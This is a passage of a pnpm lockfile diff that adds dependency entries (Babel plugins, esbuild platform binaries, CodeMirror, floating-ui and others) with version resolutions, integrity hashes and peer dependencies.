sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==} + engines: {node: '>=6.9.0'} + dev: false + + /@babel/helper-replace-supers@7.22.20(@babel/core@7.23.5): + resolution: {integrity: sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-environment-visitor': 7.22.20 + '@babel/helper-member-expression-to-functions': 7.23.0 + '@babel/helper-optimise-call-expression': 7.22.5 + dev: false + + /@babel/helper-simple-access@7.22.5: + resolution: {integrity: sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-skip-transparent-expression-wrappers@7.22.5: + resolution: {integrity: sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-split-export-declaration@7.22.6: + resolution: {integrity: sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/helper-string-parser@7.23.4: + resolution: {integrity: sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==} + engines: {node: '>=6.9.0'} + dev: false + + /@babel/helper-validator-identifier@7.22.20: + resolution: {integrity: sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==} + engines: {node: '>=6.9.0'} + dev: false + + /@babel/helper-validator-option@7.23.5: + resolution: {integrity: sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==} + engines: {node: '>=6.9.0'} + dev: false + + /@babel/helpers@7.23.5: + resolution: {integrity: sha512-oO7us8FzTEsG3U6ag9MfdF1iA/7Z6dz+MtFhifZk8C8o453rGJFFWUP1t+ULM9TUIAzC9uxXEiXjOiVMyd7QPg==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/template': 7.22.15 + '@babel/traverse': 7.23.5 + '@babel/types': 7.23.5 + transitivePeerDependencies: + - supports-color + dev: false + + /@babel/highlight@7.23.4: + resolution: {integrity: sha512-acGdbYSfp2WheJoJm/EBBBLh/ID8KDc64ISZ9DYtBmC8/Q204PZJLHyzeB5qMzJ5trcOkybd78M4x2KWsUq++A==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-validator-identifier': 7.22.20 + chalk: 2.4.2 + js-tokens: 4.0.0 + dev: false + + /@babel/parser@7.23.5: + resolution: {integrity: sha512-hOOqoiNXrmGdFbhgCzu6GiURxUgM27Xwd/aPuu8RfHEZPBzL1Z54okAHAQjXfcQNwvrlkAmAp4SlRTZ45vlthQ==} + engines: {node: '>=6.0.0'} + hasBin: true + dependencies: + '@babel/types': 7.23.5 + dev: false + + /@babel/plugin-proposal-class-properties@7.18.6(@babel/core@7.23.5): + resolution: {integrity: sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==} + engines: {node: '>=6.9.0'} + deprecated: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-class-properties instead. + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-create-class-features-plugin': 7.23.5(@babel/core@7.23.5) + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-proposal-object-rest-spread@7.20.7(@babel/core@7.23.5): + resolution: {integrity: sha512-d2S98yCiLxDVmBmE8UjGcfPvNEUbA1U5q5WxaWFUGRzJSVAZqm5W6MbPct0jxnegUZ0niLeNX+IOzEs7wYg9Dg==} + engines: {node: '>=6.9.0'} + deprecated: This proposal has been merged to the ECMAScript standard and thus this plugin is no longer maintained. Please use @babel/plugin-transform-object-rest-spread instead. + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/compat-data': 7.23.5 + '@babel/core': 7.23.5 + '@babel/helper-compilation-targets': 7.22.15 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.23.5) + '@babel/plugin-transform-parameters': 7.23.3(@babel/core@7.23.5) + dev: false + + /@babel/plugin-syntax-class-properties@7.12.13(@babel/core@7.23.5): + resolution: {integrity: sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-syntax-flow@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-YZiAIpkJAwQXBJLIQbRFayR5c+gJ35Vcz3bg954k7cd73zqjvhacJuL9RbrzPz8qPmZdgqP6EUKwy0PCNhaaPA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-syntax-jsx@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-EB2MELswq55OHUoRZLGg/zC7QWUKfNLpE57m/S2yr1uEneIgsTgrSzXP3NXEsMkVn76OlaVVnzN+ugObuYGwhg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-syntax-object-rest-spread@7.8.3(@babel/core@7.23.5): + resolution: {integrity: sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-arrow-functions@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-NzQcQrzaQPkaEwoTm4Mhyl8jI1huEL/WWIEvudjTCMJ9aBZNpsJbMASx7EQECtQQPS/DcnFpo0FIh3LvEO9cxQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-block-scoped-functions@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-vI+0sIaPIO6CNuM9Kk5VmXcMVRiOpDh7w2zZt9GXzmE/9KD70CUEVhvPR/etAeNK/FAEkhxQtXOzVF3EuRL41A==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-block-scoping@7.23.4(@babel/core@7.23.5): + resolution: {integrity: sha512-0QqbP6B6HOh7/8iNR4CQU2Th/bbRtBp4KS9vcaZd1fZ0wSh5Fyssg0UCIHwxh+ka+pNDREbVLQnHCMHKZfPwfw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-classes@7.23.5(@babel/core@7.23.5): + resolution: {integrity: sha512-jvOTR4nicqYC9yzOHIhXG5emiFEOpappSJAl73SDSEDcybD+Puuze8Tnpb9p9qEyYup24tq891gkaygIFvWDqg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-annotate-as-pure': 7.22.5 + '@babel/helper-compilation-targets': 7.22.15 + '@babel/helper-environment-visitor': 7.22.20 + '@babel/helper-function-name': 7.23.0 + '@babel/helper-optimise-call-expression': 7.22.5 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/helper-replace-supers': 7.22.20(@babel/core@7.23.5) + '@babel/helper-split-export-declaration': 7.22.6 + globals: 11.12.0 + dev: false + + /@babel/plugin-transform-computed-properties@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-dTj83UVTLw/+nbiHqQSFdwO9CbTtwq1DsDqm3CUEtDrZNET5rT5E6bIdTlOftDTDLMYxvxHNEYO4B9SLl8SLZw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/template': 7.22.15 + dev: false + + /@babel/plugin-transform-destructuring@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-n225npDqjDIr967cMScVKHXJs7rout1q+tt50inyBCPkyZ8KxeI6d+GIbSBTT/w/9WdlWDOej3V9HE5Lgk57gw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-flow-strip-types@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-26/pQTf9nQSNVJCrLB1IkHUKyPxR+lMrH2QDPG89+Znu9rAMbtrybdbWeE9bb7gzjmE5iXHEY+e0HUwM6Co93Q==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/plugin-syntax-flow': 7.23.3(@babel/core@7.23.5) + dev: false + + /@babel/plugin-transform-for-of@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-X8jSm8X1CMwxmK878qsUGJRmbysKNbdpTv/O1/v0LuY/ZkZrng5WYiekYSdg9m09OTmDDUWeEDsTE+17WYbAZw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-function-name@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-I1QXp1LxIvt8yLaib49dRW5Okt7Q4oaxao6tFVKS/anCdEOMtYwWVKoiOA1p34GOWIZjUK0E+zCp7+l1pfQyiw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-compilation-targets': 7.22.15 + '@babel/helper-function-name': 7.23.0 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-literals@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-wZ0PIXRxnwZvl9AYpqNUxpZ5BiTGrYt7kueGQ+N5FiQ7RCOD4cm8iShd6S6ggfVIWaJf2EMk8eRzAh52RfP4rQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-member-expression-literals@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-sC3LdDBDi5x96LA+Ytekz2ZPk8i/Ck+DEuDbRAll5rknJ5XRTSaPKEYwomLcs1AA8wg9b3KjIQRsnApj+q51Ag==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-modules-commonjs@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-aVS0F65LKsdNOtcz6FRCpE4OgsP2OFnW46qNxNIX9h3wuzaNcSQsJysuMwqSibC98HPrf2vCgtxKNwS0DAlgcA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-module-transforms': 7.23.3(@babel/core@7.23.5) + '@babel/helper-plugin-utils': 7.22.5 + '@babel/helper-simple-access': 7.22.5 + dev: false + + /@babel/plugin-transform-object-super@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-BwQ8q0x2JG+3lxCVFohg+KbQM7plfpBwThdW9A6TMtWwLsbDA01Ek2Zb/AgDN39BiZsExm4qrXxjk+P1/fzGrA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/helper-replace-supers': 7.22.20(@babel/core@7.23.5) + dev: false + + /@babel/plugin-transform-parameters@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-09lMt6UsUb3/34BbECKVbVwrT9bO6lILWln237z7sLaWnMsTi7Yc9fhX5DLpkJzAGfaReXI22wP41SZmnAA3Vw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-property-literals@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-jR3Jn3y7cZp4oEWPFAlRsSWjxKe4PZILGBSd4nis1TsC5qeSpb+nrtihJuDhNI7QHiVbUaiXa0X2RZY3/TI6Nw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-react-display-name@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-react-jsx-self@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-qXRvbeKDSfwnlJnanVRp0SfuWE5DQhwQr5xtLBzp56Wabyo+4CMosF6Kfp+eOD/4FYpql64XVJ2W0pVLlJZxOQ==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-react-jsx-source@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-91RS0MDnAWDNvGC6Wio5XYkyWI39FMFO+JK9+4AlgaTH+yWwVTsw7/sn6LK0lH7c5F+TFkpv/3LfCJ1Ydwof/g==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-react-jsx@7.23.4(@babel/core@7.23.5): + resolution: {integrity: sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-annotate-as-pure': 7.22.5 + '@babel/helper-module-imports': 7.22.15 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/plugin-syntax-jsx': 7.23.3(@babel/core@7.23.5) + '@babel/types': 7.23.5 + dev: false + + /@babel/plugin-transform-shorthand-properties@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-ED2fgqZLmexWiN+YNFX26fx4gh5qHDhn1O2gvEhreLW2iI63Sqm4llRLCXALKrCnbN4Jy0VcMQZl/SAzqug/jg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/plugin-transform-spread@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-VvfVYlrlBVu+77xVTOAoxQ6mZbnIq5FM0aGBSFEcIh03qHf+zNqA4DC/3XMUozTg7bZV3e3mZQ0i13VB6v5yUg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + '@babel/helper-skip-transparent-expression-wrappers': 7.22.5 + dev: false + + /@babel/plugin-transform-template-literals@7.23.3(@babel/core@7.23.5): + resolution: {integrity: sha512-Flok06AYNp7GV2oJPZZcP9vZdszev6vPBkHLwxwSpaIqx75wn6mUd3UFWsSsA0l8nXAKkyCmL/sR02m8RYGeHg==} + engines: {node: '>=6.9.0'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@babel/helper-plugin-utils': 7.22.5 + dev: false + + /@babel/runtime@7.23.5: + resolution: {integrity: sha512-NdUTHcPe4C99WxPub+K9l9tK5/lV4UXIoaHSYgzco9BCyjKAAwzdBI+wWtYqHt7LJdbo74ZjRPJgzVweq1sz0w==} + engines: {node: '>=6.9.0'} + dependencies: + regenerator-runtime: 0.14.0 + dev: false + + /@babel/template@7.22.15: + resolution: {integrity: sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/code-frame': 7.23.5 + '@babel/parser': 7.23.5 + '@babel/types': 7.23.5 + dev: false + + /@babel/traverse@7.23.5: + resolution: {integrity: sha512-czx7Xy5a6sapWWRx61m1Ke1Ra4vczu1mCTtJam5zRTBOonfdJ+S/B6HYmGYu3fJtr8GGET3si6IhgWVBhJ/m8w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/code-frame': 7.23.5 + '@babel/generator': 7.23.5 + '@babel/helper-environment-visitor': 7.22.20 + '@babel/helper-function-name': 7.23.0 + '@babel/helper-hoist-variables': 7.22.5 + '@babel/helper-split-export-declaration': 7.22.6 + '@babel/parser': 7.23.5 + '@babel/types': 7.23.5 + debug: 4.3.4 + globals: 11.12.0 + transitivePeerDependencies: + - supports-color + dev: false + + /@babel/types@7.23.5: + resolution: {integrity: sha512-ON5kSOJwVO6xXVRTvOI0eOnWe7VdUcIpsovGo9U/Br4Ie4UVFQTboO2cYnDhAGU6Fp+UxSiT+pMft0SMHfuq6w==} + engines: {node: '>=6.9.0'} + dependencies: + '@babel/helper-string-parser': 7.23.4 + '@babel/helper-validator-identifier': 7.22.20 + to-fast-properties: 2.0.0 + dev: false + + /@codemirror/language@6.0.0: + resolution: {integrity: sha512-rtjk5ifyMzOna1c7PBu7J1VCt0PvA5wy3o8eMVnxMKb7z8KA7JFecvD04dSn14vj/bBaAbqRsGed5OjtofEnLA==} + dependencies: + '@codemirror/state': 6.3.3 + '@codemirror/view': 6.22.1 + '@lezer/common': 1.1.1 + '@lezer/highlight': 1.2.0 + '@lezer/lr': 1.3.14 + style-mod: 4.1.0 + dev: false + + /@codemirror/state@6.3.3: + resolution: {integrity: sha512-0wufKcTw2dEwEaADajjHf6hBy1sh3M6V0e+q4JKIhLuiMSe5td5HOWpUdvKth1fT1M9VYOboajoBHpkCd7PG7A==} + dev: false + + /@codemirror/view@6.22.1: + resolution: {integrity: sha512-38BRn1nPqZqiHbmWfI8zri23IbRVbmSpSmh1E/Ysvc+lIGGdBC17K8zlK7ZU6fhfy9x4De9Zyj5JQqScPq5DkA==} + dependencies: + '@codemirror/state': 6.3.3 + style-mod: 4.1.0 + w3c-keyname: 2.2.8 + dev: false + + /@emoji-mart/data@1.1.2: + resolution: {integrity: sha512-1HP8BxD2azjqWJvxIaWAMyTySeZY0Osr83ukYjltPVkNXeJvTz7yDrPLBtnrD5uqJ3tg4CcLuuBW09wahqL/fg==} + dev: false + + /@emotion/is-prop-valid@0.8.8: + resolution: {integrity: sha512-u5WtneEAr5IDG2Wv65yhunPSMLIpuKsbuOktRojfrEiEvRyC85LgPMZI63cr7NUqT8ZIGdSVg8ZKGxIug4lXcA==} + requiresBuild: true + dependencies: + '@emotion/memoize': 0.7.4 + dev: false + optional: true + + /@emotion/memoize@0.7.4: + resolution: {integrity: sha512-Ja/Vfqe3HpuzRsG1oBtWTHk2PGZ7GR+2Vz5iYGelAw8dx32K0y7PjVuxK6z1nMpZOqAFsRUPCkK1YjJ56qJlgw==} + requiresBuild: true + dev: false + optional: true + + /@esbuild/android-arm64@0.18.20: + resolution: {integrity: sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==} + engines: {node: '>=12'} + cpu: [arm64] + os: [android] + requiresBuild: true + dev: false + optional: true + + /@esbuild/android-arm@0.18.20: + resolution: {integrity: sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==} + engines: {node: '>=12'} + cpu: [arm] + os: [android] + requiresBuild: true + dev: false + optional: true + + /@esbuild/android-x64@0.18.20: + resolution: {integrity: sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==} + engines: {node: '>=12'} + cpu: [x64] + os: [android] + requiresBuild: true + dev: false + optional: true + + /@esbuild/darwin-arm64@0.18.20: + resolution: {integrity: sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@esbuild/darwin-x64@0.18.20: + resolution: {integrity: sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [darwin] + requiresBuild: true + dev: false + optional: true + + /@esbuild/freebsd-arm64@0.18.20: + resolution: {integrity: sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==} + engines: {node: '>=12'} + cpu: [arm64] + os: [freebsd] + requiresBuild: true + dev: false + optional: true + + /@esbuild/freebsd-x64@0.18.20: + resolution: {integrity: sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [freebsd] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-arm64@0.18.20: + resolution: {integrity: sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==} + engines: {node: '>=12'} + cpu: [arm64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-arm@0.18.20: + resolution: {integrity: sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==} + engines: {node: '>=12'} + cpu: [arm] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-ia32@0.18.20: + resolution: {integrity: sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==} + engines: {node: '>=12'} + cpu: [ia32] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-loong64@0.18.20: + resolution: {integrity: sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==} + engines: {node: '>=12'} + cpu: [loong64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-mips64el@0.18.20: + resolution: {integrity: sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==} + engines: {node: '>=12'} + cpu: [mips64el] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-ppc64@0.18.20: + resolution: {integrity: sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==} + engines: {node: '>=12'} + cpu: [ppc64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-riscv64@0.18.20: + resolution: {integrity: sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==} + engines: {node: '>=12'} + cpu: [riscv64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-s390x@0.18.20: + resolution: {integrity: sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==} + engines: {node: '>=12'} + cpu: [s390x] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/linux-x64@0.18.20: + resolution: {integrity: sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==} + engines: {node: '>=12'} + cpu: [x64] + os: [linux] + requiresBuild: true + dev: false + optional: true + + /@esbuild/netbsd-x64@0.18.20: + resolution: {integrity: sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==} + engines: {node: '>=12'} + cpu: [x64] + os: [netbsd] + requiresBuild: true + dev: false + optional: true + + /@esbuild/openbsd-x64@0.18.20: + resolution: {integrity: sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==} + engines: {node: '>=12'} + cpu: [x64] + os: [openbsd] + requiresBuild: true + dev: false + optional: true + + /@esbuild/sunos-x64@0.18.20: + resolution: {integrity: sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [sunos] + requiresBuild: true + dev: false + optional: true + + /@esbuild/win32-arm64@0.18.20: + resolution: {integrity: sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==} + engines: {node: '>=12'} + cpu: [arm64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@esbuild/win32-ia32@0.18.20: + resolution: {integrity: sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==} + engines: {node: '>=12'} + cpu: [ia32] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@esbuild/win32-x64@0.18.20: + resolution: {integrity: sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==} + engines: {node: '>=12'} + cpu: [x64] + os: [win32] + requiresBuild: true + dev: false + optional: true + + /@floating-ui/core@1.5.2: + resolution: {integrity: sha512-Ii3MrfY/GAIN3OhXNzpCKaLxHQfJF9qvwq/kEJYdqDxeIHa01K8sldugal6TmeeXl+WMvhv9cnVzUTaFFJF09A==} + dependencies: + '@floating-ui/utils': 0.1.6 + dev: false + + /@floating-ui/dom@1.5.3: + resolution: {integrity: sha512-ClAbQnEqJAKCJOEbbLo5IUlZHkNszqhuxS4fHAVxRPXPya6Ysf2G8KypnYcOTpx6I8xcgF9bbHb6g/2KpbV8qA==} + dependencies: + '@floating-ui/core': 1.5.2 + '@floating-ui/utils': 0.1.6 + dev: false + + /@floating-ui/react-dom@1.3.0(react-dom@17.0.2)(react@17.0.2): + resolution: {integrity: sha512-htwHm67Ji5E/pROEAr7f8IKFShuiCKHwUC/UY4vC3I5jiSvGFAYnSYiZO5MlGmads+QqvUkR9ANHEguGrDv72g==} + peerDependencies: + react: 